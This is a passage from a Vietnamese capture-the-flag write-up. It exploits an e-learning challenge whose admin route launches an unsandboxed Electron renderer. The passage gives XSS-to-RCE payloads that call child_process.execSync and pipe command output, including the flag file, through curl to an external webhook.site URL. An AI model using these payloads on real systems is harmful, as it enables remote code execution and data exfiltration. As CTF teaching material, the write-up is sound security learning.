ta phải biết được API nào sẽ gọi tới file `index.html` thì RCE mới thành công được Như đã biết thì main.js sẽ gọi index.html Vậy thì giờ mình sẽ tìm xem API nào gọi tới `main.js` ``` nightcore@/KCSC E-learning$ grep -r "main.js" . ./server/routes/routes.js: const electronProcess = exec('xvfb-run --auto-servernum --server-args="-screen 0 1024x768x24" npx electron --no-sandbox ./utils/main.js', (error, stdout, stderr) => { ``` Và đó chính là `/noteExam` ```js const express = require('express'); const { exec } = require('child_process'); const router = express.Router(); router.get('/noteExam', (req, res) => { try { if (!req.user || !req.user.username || !req.user.id || req.user.admin !== 1) { return res.status(403).send("nope"); } let isResponseSent = false; const electronProcess = exec('xvfb-run --auto-servernum --server-args="-screen 0 1024x768x24" npx electron --no-sandbox ./utils/main.js', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); if (!isResponseSent) { isResponseSent = true; return res.status(500).send('error'); } } else { if (!isResponseSent) { isResponseSent = true; res.send('OK'); } } }); setTimeout(() => { electronProcess.kill(); if (!isResponseSent) { isResponseSent = true; res.send('OK'); } }, 3000); } catch (error) { res.status(500).send('error'); } }); module.exports = router; ``` Các bước khai thác như sau: - Step 1: gen payload vào file `data.txt` Payload: `<img src=x onerror="alert(require('child_process').execSync('ls / | curl -X POST -d @- https://webhook.site/bd7ecb99-cc09-4bc6-a104-04472bba008d').toString());"> ` Vì đây là dạng blind nên mình phải curl ra ngoài để lấy kết quả ![image](https://hackmd.io/_uploads/Skr-3NFTR.png) - Step 2: Access tới `/noteExam` và kết quả trả về ![image](https://hackmd.io/_uploads/B1muhEY6C.png) ![image](https://hackmd.io/_uploads/Hy552NYaA.png) - Step 3: Get flag Payload: `<img src=x onerror="alert(require('child_process').execSync('cat /flag_wbNZXWp5weA4jXzI2stH.txt | curl -X POST -d @- https://webhook.site/bd7ecb99-cc09-4bc6-a104-04472bba008d').toString());">` ![image](https://hackmd.io/_uploads/rkPv6VF6A.png) `Flag: KCSC{H0`_0i_oi_h0`...C0n_s@o_Duoi_s0^ng_con_c@_ro^_le^n_b0}` # 7. Black Myth: Pickle ![image](https://hackmd.io/_uploads/HJlzfryO60.png) Hint ![image](https://hackmd.io/_uploads/r1vmBJu60.png) https://docs.djangoproject.com/en/5.1/ref/models/querysets/